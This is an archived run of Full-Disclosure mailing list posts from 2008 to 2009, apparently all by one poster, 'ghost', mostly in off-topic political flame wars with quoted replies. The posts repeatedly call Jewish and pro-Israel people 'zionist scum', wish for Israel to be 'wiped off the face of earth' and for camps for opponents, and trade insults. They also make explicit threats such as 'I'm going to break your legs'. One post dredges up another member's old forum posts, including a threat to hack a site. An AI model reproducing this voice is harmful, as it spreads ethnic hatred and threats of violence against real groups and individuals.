research on you I would be quite ashamed of the human race.

and this coming from the man who wants my real name so he could do his
research on me... typical zionist scum, nothing but double standards
if you're not "one of them."

:-)

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] MS seems to live in the past

[ghost]

Did you really just post this? ...really?

Take this garbage to fun-sec, where it's the exact opposite of fun-sec
but quite appropriate.

On Thu, Jan 22, 2009 at 3:46 PM, Paul Szabo  wrote:
> Just cute, probably no security implications...
>
> I am in the habit of regularly checking for new stuff on the
> "Microsoft Security Advisories" website
>  http://www.microsoft.com/technet/security/advisory/default.mspx
> Up until a few days ago, it said "Updated December 30, 2008"
> or somesuch; cannot remember what the last advisory was, probably
> something about SSL certificates.
>
> Checking this morning, it says "Updated: October 23, 2008" and the
> last advisory shown there or on
>  http://www.microsoft.com/technet/security/advisory/archive.mspx
> is dated 14 Oct. For example, the advisory
>  Microsoft Security Advisory (960906)
>  Vulnerability in WordPad Text Converter Could Allow Remote Code Execution
>  http://www.microsoft.com/technet/security/advisory/960906.mspx
> is missing.
>
> Did MS revert into the past? (Did their server crash, was replaced
> with a not-so-hot-spare, or recovered from old backups?)
>
> Cheers,
>
> Paul Szabo   p...@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
> School of Mathematics and Statistics   University of SydneyAustralia
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The war in Palestine

[ghost]

Most prefer Bayer :-)

On Thu, Jan 22, 2009 at 6:13 PM, Avraham Schneider
 wrote:
> Advil?
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Jesus was jew !

[ghost]

Advice - don't live in a bubble believing everything your zionist scum
brothers spout. While you acted like the coward that you are and never
fought for your country, something you zionist scum force on each
other, you can show your support for your dying devils from the
comfort of your keyboard. Very very very pathetic.


On Thu, Jan 22, 2009 at 7:33 PM, Avraham Schneider
 wrote:
> Advice - Call your doctor asap and tell him/her you need new pills.
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Closure of political threads

[ghost]

HAAHAHAHAHAHAHAHAHA

On Mon, Jan 19, 2009 at 2:37 PM, andrew. wallace
 wrote:
> If you've got nothing cyber security related to say don't post.
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The war in Palestine

[ghost]

Typical zionist trying to tell people what to do...

It's ingrained in them to talk down to others at birth, sorry for the
mismanners of the typical zionist jew everyone.



On Mon, Jan 19, 2009 at 3:24 AM, Avraham Schneider
 wrote:
> Not trying to change anything and I am very tollerant.
>
> Why don't you take your advice and get back to computer security?
>
> On Mon, Jan 19, 2009 at 9:27 AM, Peter Bruderer 
> wrote:
>>
>> We heard it now many times. Please stop it now.
>> None of you is going to change anything. Specially not with your
>> intolerant attitude.
>> So please shut up and get back to computer security.
>>
>>
>> Peter Bruderer
>>
>>
>>
>> On 19.01.2009, at 08:01, Avraham Schneider wrote:
>>
>>
>> On Mon, Jan 19, 2009 at 8:44 AM, ghost  wrote:
>>>
>>> On Mon, Jan 19, 2009 at 1:12 AM, Avraham Schneider
>>>  wrote:
>>> >
>>> >
>>> >
>>> > Again I'll ask - what facts?
>>> >
>>>
>>> You read the facts, and you responded with zionist propaganda. No
>>> matter how many times you repeat yourself, the IDF is still a
>>> propaganda machine.
>>
>> I think the person who is delibitrary ignoring facts and spreading
>> propaganda and lies, is you.
>> Until you and your friends get off this list, and/or stop spreading your
>> offtopic propaganda full of lies and hate here on a comsec list - I will
>> repeat correcting your false claims, basing mine on facts, as many times
>> needed,
>>
>>
>> >
>> > You need to recheck the definition of 'proof' in the dictionary, along
>> > with
>> > the definition of many other words you have been missusing lately...
>> >
>>
>> So zionists are now redefining words to favor themselves huh?
>> No - http://tinyurl.com/8q6xjd
>>
>>
>>
>> >
>> >> Do you have any backup plans? Because this one does not seem to be
>> >> going
>> >> real well...
>> >
>> >
>>
>> >The plans are going quite well, the zionists in israel are doing a
>> >great job in destroying any decent reputation they have had with other
>> >countries.
>>
>> You are over confident with your propaganda, it does not seem to be
>> helping.
>> Unless you are referring to Bolivia cutting ties with Israel (the only
>> ties Israel had with them are drug related).
>>
>> >Not to mention the fact that Obama is going into office, and you
>> >zionist scum have tons of conspiracy about that. Lets hope they all
>> >come true :)
>> As far as we see, against all expectations, Obama is pro-Israel - so I
>> guess you have to come up with better backup plans than these...
>>
>>
>> >It's funny how you never responded to the FACT that israel spys on us
>> >more then any other country
>> I do not recall you mentioned it - hence I did not respond.
>> Now that you do - who is 'us'?
>>
>> > and you support them 100%.
>> Yes I do.
>>
>> > You're a terrorist
>> http://tinyurl.com/74ct4g
>>
>> >and deserve to be in guantanamo bay.
>> But Obama is closing it down..,
>>
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The war in Palestine

[ghost]

On Mon, Jan 19, 2009 at 2:01 AM, Avraham Schneider
 wrote:
>
>
>
> I think the person who is delibitrary ignoring facts and spreading
> propaganda and lies, is you.
> Until you and your friends get off this list, and/or stop spreading your
> offtopic propaganda full of lies and hate here on a comsec list - I will
> repeat correcting your false claims, basing mine on facts, as many times
> needed,
>
>

If it isnt from zionist scum you don't believe it. That's a pathetic
way to live and I feel sorry for you.

oh yes! You aren't deliberately spreading false claims right? You're
basing yours on what israel says and anyone else is wrong. That isn't
fact. You aren't able to think for yourself, that's a sad life.

>
> So zionists are now redefining words to favor themselves huh?
> No - http://tinyurl.com/8q6xjd
>

Again, wasn't from zionist scum so you don't believe it.

>
> You are over confident with your propaganda, it does not seem to be helping.
> Unless you are referring to Bolivia cutting ties with Israel (the only ties
> Israel had with them are drug related).
>

zionist scum all hopped up on drugs, label me not surprised,  patheticx2.


> As far as we see, against all expectations, Obama is pro-Israel - so I guess
> you have to come up with better backup plans than these...
>

"as far as we see"

Shill, proof.

patheticx3.


>
> I do not recall you mentioned it - hence I did not respond.
> Now that you do - who is 'us'?
>

See, thats the problem with zionist scum. It's always zionists... then
the rest of the world. Us is the USA. The country that you've lived in
your entire life too scared to fight along your scum brothers in
israel.

>> and you support them 100%.
> Yes I do.
>

Yet too much of a coward to murder innocent civilians in the name of
your scum brothers. Hm... pathetic.

>> You're a terrorist
> http://tinyurl.com/74ct4g
>
>>and deserve to be in guantanamo bay.
> But Obama is closing it down..,

Yes, and hopefully he opens up camps for you and your scum brothers.
That will solve 90% of our problems.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The war in Palestine

[ghost]

On Mon, Jan 19, 2009 at 1:12 AM, Avraham Schneider
 wrote:
>
>
>
> Again I'll ask - what facts?
>

You read the facts, and you responded with zionist propaganda. No
matter how many times you repeat yourself, the IDF is still a
propaganda machine.

>
> You need to recheck the definition of 'proof' in the dictionary, along with
> the definition of many other words you have been missusing lately...
>

So zionists are now redefining words to favor themselves huh?


>
> Do you have any backup plans? Because this one does not seem to be going
> real well...
>
>

The plans are going quite well, the zionists in israel are doing a
great job in destroying any decent reputation they have had with other
countries.

Not to mention the fact that Obama is going into office, and you
zionist scum have tons of conspiracy about that. Lets hope they all
come true :)


It's funny how you never responded to the FACT that israel spys on us
more then any other country and you support them 100%. You're a
terrorist and deserve to be in guantanamo bay.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Abuse and false posts by the "Yahweh Clan" on this list

[ghost]

To Whom It May Concern:


   Nobody Cares.

Thanks,
Brandom D.


On Sun, Jan 18, 2009 at 11:19 PM, YouTube Vigilantes  wrote:
> Important Notes on some prior fictitious posts to this list:
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Barack Obama

[ghost]

Kill your parents.

On Sun, Jan 18, 2009 at 8:37 PM, andrew. wallace
 wrote:
> What do you want him to do for cyber security after he is sworn in on Tuesday?
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The war in Palestine

[ghost]

On Sun, Jan 18, 2009 at 7:23 PM, Avraham Schneider
 wrote:
>
>
> What facts?
>


Point proven. If it isn't from zionist then it isn't a fact, typical
zionist scum.

You work for an israeli based company, that proves your a shill.

I will rejoice once israel is wiped off the face of earth once and for all.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The war in Palestine

[ghost]

lmao! OH I GET IT!

See, it's fact when the zionist scum say it.

BUT IF YOU ARENT A ZIONIST JEW

then everything you say is a complete lie and made up.

You're really winning your argument and changing peoples mind about israel.


On Sun, Jan 18, 2009 at 5:49 PM, Avraham Schneider
 wrote:
> Here you go -
> http://tinyurl.com/6v45l5
> http://tinyurl.com/lu4et
>
>
> Have fun reading facts...
>
>
> On Mon, Jan 19, 2009 at 12:41 AM, Avraham Schneider
>  wrote:
>>
>> sure - take btselem's word for it... a bunch of Palestinians and a British
>> jurnalist that says:
>> "I would stress that I looked only at the Israeli side because of the new
>> factor - Israel setting up a special unit to improve the projection of its
>> arguments around the world. paul.reynolds-inter...@bbc.co.uk "
>>
>> Basically a jurnalist that admits to being biased and a group of
>> Palestinians - really credible...
>>
>>
>> On Mon, Jan 19, 2009 at 12:30 AM, ghost  wrote:
>>>
>>> http://news.bbc.co.uk/1/hi/world/middle_east/7809371.stm
>>>
>>> http://www.btselem.org/English/Gaza_Strip/20081231_Army_bombs_metal_workshop_in_Gaza.asp
>>>
>>> Yes, see, its just a huge mass conspiracy, the whole world is against
>>> israel and makes this stuff up. They would never release lies and
>>> propaganda video. NEVER! It's not in the Zionist scum blood to lie! NO
>>> SIR! NEVER! The BBC is ran by Palestine!
>>>
>>> Label me not surprised, if someone disagrees with zionist scum they
>>> are labeled as either self hating if they are Jewish, or mentally
>>> unstable.
>>>
>>> Your mothers a whore and your father holds the money.
>>>
>>>
>>> On Sun, Jan 18, 2009 at 5:09 PM, Avraham Schneider
>>>  wrote:
>>> > The topic does not change much on this discussion, so if you really
>>> > cared
>>> > that much for the signal to noise ratio, you would have filtered the
>>> > topic
>>> > out - especially since you use gmail...
>>> >
>>> > It seems that you are enjoying this thread since you have been
>>> > following it
>>> > so far, and even bothered responding to the thread.
>>> >
>>> > I myself am not enjoying the thread, I respond for a totally different
>>> > reason - to disprove false claims made as part of a propaganda campain
>>> > going
>>> > on here.
>>> >
>>> > I hope you understand - if not - you are welcome to take the filtering
>>> > advice, and if even that does not make you happy - I guess you will
>>> > have to
>>> > continue being unhappy.
>>> >
>>> > Cheers.
>>> >
>>> > On Sun, Jan 18, 2009 at 11:49 PM,  wrote:
>>> >>
>>> >> Innovative solution to all your problems, on both sides:  stop
>>> >> discussing
>>> >> politics on FD.  I was under the impression this was supposed to be
>>> >> about
>>> >> compsec, not alt.politics.middleeast.  Doesn't matter who -is- right,
>>> >> from
>>> >> here it looks like a bunch of kids using slightly more sophisticated
>>> >> arguments.
>>> >>
>>> >> Understand?  Someone is wrong on the internet, shocker, that one.  You
>>> >> guys aren't going to change each other's minds, so what you're doing
>>> >> is a
>>> >> waste of time and lowering the noise to signal ratio.
>>> >>
>>> >> Grow up.
>>> >>
>>> >> Sent from my BlackBerry Smartphone provided by Alltel
>>> >>
>>> >> -Original Message-
>>> >> From: ghost 
>>> >>
>>> >> Date: Sun, 18 Jan 2009 16:39:01
>>> >> To: Full Disclosure
>>> >> Subject: Re: [Full-disclosure] The war in Palestine
>>> >>
>>> >>
>>> >> The IDF would not release anything fake? LMAO! That takes the cake.
>>> >> You're a propoganda shill.
>>> >>
>>> >>
>>> >> On Sun, Jan 18, 2009 at 4:31 PM, Avraham Schneider
>>> >>  wrote:
>>> >> > The IDF released footage from a remote controlled spy aircarft,
>>> >> > showing
>>> >> > terrorists shooting from a UN building - experts have inspected the
>>> >

Re: [Full-disclosure] The war in Palestine

[ghost]

Typical zionist scum response, when faced with facts he can't handle
he claims its all made up.

You're nothing but a shill, which is proven by the company you work
for, i'm sure you didn't get that job because you were a jew either...
right?

Pathetic.

On Sun, Jan 18, 2009 at 5:41 PM, Avraham Schneider
 wrote:
> sure - take btselem's word for it... a bunch of Palestinians and a British
> jurnalist that says:
> "I would stress that I looked only at the Israeli side because of the new
> factor - Israel setting up a special unit to improve the projection of its
> arguments around the world. paul.reynolds-inter...@bbc.co.uk "
>
> Basically a jurnalist that admits to being biased and a group of
> Palestinians - really credible...
>
>
> On Mon, Jan 19, 2009 at 12:30 AM, ghost  wrote:
>>
>> http://news.bbc.co.uk/1/hi/world/middle_east/7809371.stm
>>
>> http://www.btselem.org/English/Gaza_Strip/20081231_Army_bombs_metal_workshop_in_Gaza.asp
>>
>> Yes, see, its just a huge mass conspiracy, the whole world is against
>> israel and makes this stuff up. They would never release lies and
>> propaganda video. NEVER! It's not in the Zionist scum blood to lie! NO
>> SIR! NEVER! The BBC is ran by Palestine!
>>
>> Label me not surprised, if someone disagrees with zionist scum they
>> are labeled as either self hating if they are Jewish, or mentally
>> unstable.
>>
>> Your mothers a whore and your father holds the money.
>>
>>
>> On Sun, Jan 18, 2009 at 5:09 PM, Avraham Schneider
>>  wrote:
>> > The topic does not change much on this discussion, so if you really
>> > cared
>> > that much for the signal to noise ratio, you would have filtered the
>> > topic
>> > out - especially since you use gmail...
>> >
>> > It seems that you are enjoying this thread since you have been following
>> > it
>> > so far, and even bothered responding to the thread.
>> >
>> > I myself am not enjoying the thread, I respond for a totally different
>> > reason - to disprove false claims made as part of a propaganda campain
>> > going
>> > on here.
>> >
>> > I hope you understand - if not - you are welcome to take the filtering
>> > advice, and if even that does not make you happy - I guess you will have
>> > to
>> > continue being unhappy.
>> >
>> > Cheers.
>> >
>> > On Sun, Jan 18, 2009 at 11:49 PM,  wrote:
>> >>
>> >> Innovative solution to all your problems, on both sides:  stop
>> >> discussing
>> >> politics on FD.  I was under the impression this was supposed to be
>> >> about
>> >> compsec, not alt.politics.middleeast.  Doesn't matter who -is- right,
>> >> from
>> >> here it looks like a bunch of kids using slightly more sophisticated
>> >> arguments.
>> >>
>> >> Understand?  Someone is wrong on the internet, shocker, that one.  You
>> >> guys aren't going to change each other's minds, so what you're doing is
>> >> a
>> >> waste of time and lowering the noise to signal ratio.
>> >>
>> >> Grow up.
>> >>
>> >> Sent from my BlackBerry Smartphone provided by Alltel
>> >>
>> >> -Original Message-
>> >> From: ghost 
>> >>
>> >> Date: Sun, 18 Jan 2009 16:39:01
>> >> To: Full Disclosure
>> >> Subject: Re: [Full-disclosure] The war in Palestine
>> >>
>> >>
>> >> The IDF would not release anything fake? LMAO! That takes the cake.
>> >> You're a propoganda shill.
>> >>
>> >>
>> >> On Sun, Jan 18, 2009 at 4:31 PM, Avraham Schneider
>> >>  wrote:
>> >> > The IDF released footage from a remote controlled spy aircarft,
>> >> > showing
>> >> > terrorists shooting from a UN building - experts have inspected the
>> >> > footage
>> >> > and none have contested it.
>> >> >
>> >> > It's not that difficult to find out if it was fake or not - and
>> >> > considering
>> >> > the IDF released it, they would not risk releasing anything fake, as
>> >> > it
>> >> > would be shooting itself in the foot.
>> >> >
>> >> > In general I agree, unless you can easily detect if the footage was
>> >> > fake
>> >> > or
>> >> > not, videos on youtube are not reliable sources.
>> >> >
>> >>
>> >> ___
>> >> Full-Disclosure - We believe in it.
>> >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >> ___
>> >> Full-Disclosure - We believe in it.
>> >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >
>> >
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The war in Palestine

[ghost]

http://news.bbc.co.uk/1/hi/world/middle_east/7809371.stm
http://www.btselem.org/English/Gaza_Strip/20081231_Army_bombs_metal_workshop_in_Gaza.asp

Yes, see, its just a huge mass conspiracy, the whole world is against
israel and makes this stuff up. They would never release lies and
propaganda video. NEVER! It's not in the Zionist scum blood to lie! NO
SIR! NEVER! The BBC is ran by Palestine!

Label me not surprised, if someone disagrees with zionist scum they
are labeled as either self hating if they are Jewish, or mentally
unstable.

Your mothers a whore and your father holds the money.


On Sun, Jan 18, 2009 at 5:09 PM, Avraham Schneider
 wrote:
> The topic does not change much on this discussion, so if you really cared
> that much for the signal to noise ratio, you would have filtered the topic
> out - especially since you use gmail...
>
> It seems that you are enjoying this thread since you have been following it
> so far, and even bothered responding to the thread.
>
> I myself am not enjoying the thread, I respond for a totally different
> reason - to disprove false claims made as part of a propaganda campain going
> on here.
>
> I hope you understand - if not - you are welcome to take the filtering
> advice, and if even that does not make you happy - I guess you will have to
> continue being unhappy.
>
> Cheers.
>
> On Sun, Jan 18, 2009 at 11:49 PM,  wrote:
>>
>> Innovative solution to all your problems, on both sides:  stop discussing
>> politics on FD.  I was under the impression this was supposed to be about
>> compsec, not alt.politics.middleeast.  Doesn't matter who -is- right, from
>> here it looks like a bunch of kids using slightly more sophisticated
>> arguments.
>>
>> Understand?  Someone is wrong on the internet, shocker, that one.  You
>> guys aren't going to change each other's minds, so what you're doing is a
>> waste of time and lowering the noise to signal ratio.
>>
>> Grow up.
>>
>> Sent from my BlackBerry Smartphone provided by Alltel
>>
>> -Original Message-
>> From: ghost 
>>
>> Date: Sun, 18 Jan 2009 16:39:01
>> To: Full Disclosure
>> Subject: Re: [Full-disclosure] The war in Palestine
>>
>>
>> The IDF would not release anything fake? LMAO! That takes the cake.
>> You're a propoganda shill.
>>
>>
>> On Sun, Jan 18, 2009 at 4:31 PM, Avraham Schneider
>>  wrote:
>> > The IDF released footage from a remote controlled spy aircarft, showing
>> > terrorists shooting from a UN building - experts have inspected the
>> > footage
>> > and none have contested it.
>> >
>> > It's not that difficult to find out if it was fake or not - and
>> > considering
>> > the IDF released it, they would not risk releasing anything fake, as it
>> > would be shooting itself in the foot.
>> >
>> > In general I agree, unless you can easily detect if the footage was fake
>> > or
>> > not, videos on youtube are not reliable sources.
>> >
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The war in Palestine

[ghost]

The IDF would not release anything fake? LMAO! That takes the cake.
You're a propoganda shill.


On Sun, Jan 18, 2009 at 4:31 PM, Avraham Schneider
 wrote:
> The IDF released footage from a remote controlled spy aircarft, showing
> terrorists shooting from a UN building - experts have inspected the footage
> and none have contested it.
>
> It's not that difficult to find out if it was fake or not - and considering
> the IDF released it, they would not risk releasing anything fake, as it
> would be shooting itself in the foot.
>
> In general I agree, unless you can easily detect if the footage was fake or
> not, videos on youtube are not reliable sources.
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The war in Palestine

[ghost]

yes, let me make a point favoring my political views then say take it
off the list... that's smart!

israel deserves to be wiped off the map, and America should be first
in line to do it. We do nothing but support israel and look where it
has landed us. Not only has it landed us at war with israeli's enemies
but it also has landed us as having to guard our intelligence from
israel because the scum spy on us more than any other country. If you
support the zionist scum then you deserve what they deserve.

Long Live Palestine.

...now take this discussion off list.

lol


On Sat, Jan 17, 2009 at 8:59 PM, Paul Schmehl  wrote:

>
> Yes, you do.  The civilians have become legal combatants if you are being
> fired upon.
>
> Hamas is guilty of so many war crimes it would be impossible to catalog
> them all.
>
> Now please take this scrum off list.
>
> Paul Schmehl, If it isn't already
> obvious, my opinions are my own
> and not those of my employer.
> **
> WARNING: Check the headers before replying
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] It's time for me to go now

[ghost]

DON'T LEAVE N3TD3V, PL

On Sun, Jan 11, 2009 at 8:45 PM, n3td3v  wrote:
> I don't know how to hack and I don't have any technical abilities I
> must go now before MI5 take me away in a van and dump my body in the
> sea.
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] They don't realise I might work for MI5

[ghost]

If someone as incompetent as you works (this is me rolling my eyes
like a 14 year old girl) for MI5 then the UK is in an even sadder
state of affairs that I had originally believed.

On Fri, Jan 9, 2009 at 8:47 PM, andrew. wallace
 wrote:
> And then again, I might work for MI5.
>
> On Sat, Jan 10, 2009 at 1:43 AM, Ed Carp  wrote:
>> Yup.  And I might be married to the Queen of Sheba, too... ;)
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Marcus J. Ranum on PaulDotCom Episode 133

[ghost]

Every single post you've ever made is nothing more than drivel suited
for a blog.

The reason you don't setup a blog for your FUD is because you know
you'd have 0 visitors, so instead you post to a mailing list.

Kudos, I think i'm going to start doing the same.

p.s.
 I'm going to break your legs.

On Fri, Dec 12, 2008 at 10:01 PM, n3td3v  wrote:
> An interesting episode of PaulDotCom Security Weekly where Marcus J.
> Ranum talks about Cyber warfare.
>
> http://media.libsyn.com/media/pauldotcom/pauldotcom-SW-episode133pt1.mp3
>
> :)
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] We're letting the bad guys win

[ghost]

If I ever see you im going to kick the piss out of you. Anyone who
threatens people with getting there website hacked then a month later
trys to act mature on a mailing list and say those antics should be
punshied by prison is a complete and utter joke.

This is not a threat, this is a promise.

But youll never be seen out of maidenhead so who cares eh?


On Sun, Dec 7, 2008 at 9:23 PM, n3td3v <[EMAIL PROTECTED]> wrote:
> I think we're all as bad as each other, c'mon guys we shouldn't be
> fighting like this in the infosec community, the hackers will be
> laughing at us fighting with each other when we should be thinking up
> new ways to beat the bad guys. One day maybe we can all meet up for a
> beer and be good buddies, there is no need for this type of fighting
> in infosec, live and let live. Some kind of bandwagon has been created
> by Ureleet that some infosec members have jumped on, I urge you to
> jump off this bandwagon, we all need to unify as a community and come
> up with solutions to tackle big things coming up in information
> security, like stopping the bad guys use security software that is
> only intended for penetration testers in the security professional
> community.
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] FD culture!?

[ghost]

I feel bad that, in almost 5 years, because of british intelligence
services monitoring your every move and action, youve still not been
able to release anything worth reading. Please continue n3td3v, I know
it's right around the corner. You're going to change the security
world.




google: xploitable site:chat-help.co.uk
-
-
http://www.bigblueball.com/forums/showthread.php?p=159874#post159874

02-17-2005, 12:11 PM
n3td3v   n3td3v is offline
Banned

Join Date: Aug 2004
Posts: 220 n3td3v can only hope to improve
Default Serious post
Don't delete my posts again, without asking or giving warning. A quick
e-mail to say your not happy with a post and ask me to modify or
delete it myself is too much to ask??

Trust me, if you want to be rude, i'll be rude back to you, and if you
keep doing it, i'll make sure this website gets hacked.

I've had enough of it, its happened more than once, I don't like being
treated the way you treat people.

You'll probably want to delete this thread too, cause you love
controlling people so much.

Last edited by DJHyperbyte : 02-17-2005 at 02:09 PM. Reason: Removed insults.

-
-
http://lists.virus.org/full-disclosure-0411/msg00907.html


FW: [Full-Disclosure] Shadowcrew Grand Jury Indictment
n3td3v n3td3v <[EMAIL PROTECTED]>
Wed, 17 Nov 2004 17:53:44 +

* Previous message: FW: [Full-Disclosure]
Shadowcrew Grand Jury Indictment
* Next message: FW: [Full-Disclosure] Shadowcrew
Grand Jury Indictment
* Messages sorted by: [ date ] [ thread ] [
subject ] [ author ]

On Wed, 17 Nov 2004 11:41:20 -0600, Todd Towles
<[EMAIL PROTECTED]> wrote:
> Well, it is given that posting to FD does give a
site exposure (good and
> bad). But I wouldn't say that FD was the cause of
it..it was the illegal
> activity that was the cause of it. We all know SCC
does some underground
> stuff and they post here each time they move. So...I
wouldn't blame the
> FD list for anything.

I wouldn't use the word blame? I think its a good
thing if
Full-Disclosure is helping to catch online criminals.
I don't know if
you like malicious hackers and other criminals, but
yeah I dislike
them. I would do anything in my power to stop online
crime, from
scriptkiddie stuff, to sex stuff,spam,scams, fraud,
terrorism and back
again.

I have no space for anyone thinking they are elite and
all the other
hacker scene crap. Its time to clamp down on the BS
thats on the net.

If I was in gov, I would shut a site down that looks
remotely
hax0rish, even if they've done nothing wrong. All
these crews and
hacker groups, fk them all. The net needs zero
tollerence with online
crime. Govs should have the authority to close
anything done because
they feel like it, without needing to prove shit.

I would even close IRC channels. Hackphreak on
undernet looks
harmless, but fk that. Close it anyway, its time to
get a tighter grip
on things.

Thanks,n3td3v

-
-
http://archives.neohapsis.com/archives/dailydave/2004-q4/0221.html

You know you're a moron if you have Dave Aitel laughing at you.

-
-
forums.chat-help.co.uk

n3td3v
Member
Member Group: Banned
Joined: 28-August 04
Active Stats
Total Cumulative Posts  4


Re-occuring theme...

-
-
"carbonize" forums, banned again..

n3td3v  
post Oct 11 2004, 03:08 PM
Post #3

QUOTE(carbonize @ Oct 10 2004, 03:29 AM)
QUOTE(n3td3v @ Oct 9 2004, 08:18 PM)
Suggestion: stop acting like a wanker on sites like chat-help and grow
the fuk up.
*
Looked in a mirror lately?
*

Lamer you are a boring bastard with no skills. All you can post on
homepage is about lame gmail accounts five years after the novelty of
invites wore off.

You cannot hack to save yourself homo.

Running out of things to psot on homepage homo? Heh, i think so.

This website will die a sorry death because you have nothing worth saying.

-
-
* this is him, before being banned and using the name n3td3v

http://ourchat.org/forums/index.php?showuser=930

Viewing Profile: xploitable
xploitable

Everyone Needs A Cyber Security Pet In Life :)
Group Icon

Member Group: Banned
Joined: 3-February 04

-
-
nobody special  
post Feb 3 2004, 04:2

Re: [Full-disclosure] Security predictions for 2009

[ghost]

Hey n3td3v, when are you going to disclose any vulnerabilities to this
list? I mean, I know you're an elite hacker whos skills surpass even
that of mi5. But seriously... when can we see some exploits or code...
I mean, even morning_wood released a nikto frontend... albeit a poorly
coded and extremely exploitable one, but a frontend none the less.

On Fri, Dec 5, 2008 at 1:23 PM, n3td3v <[EMAIL PROTECTED]> wrote:
> I'm not a troll I wanted your security predictions, its people like
> you botching the list up not me.
>
> On Fri, Dec 5, 2008 at 5:52 PM, Exibar <[EMAIL PROTECTED]> wrote:
>> My prediction is that n3td3v will remain and torment us more with
>> his/their/its/her unwanted rubbish on this list and will never ever leave as
>> was once promissed
>>
>>
>>  why am I feeding the troll?   oh boy...
>>
>>  Exibar
>>
>>
>> - Original Message -
>> From: "n3td3v" <[EMAIL PROTECTED]>
>> To: 
>> Sent: Friday, December 05, 2008 12:24 PM
>> Subject: [Full-disclosure] Security predictions for 2009
>>
>>
>>> We here at n3td3v would like to hear your security predictions for 2009.
>>>
>>> Last time Paul Ferguson said 2008 would be the year of web 2.0 bugs
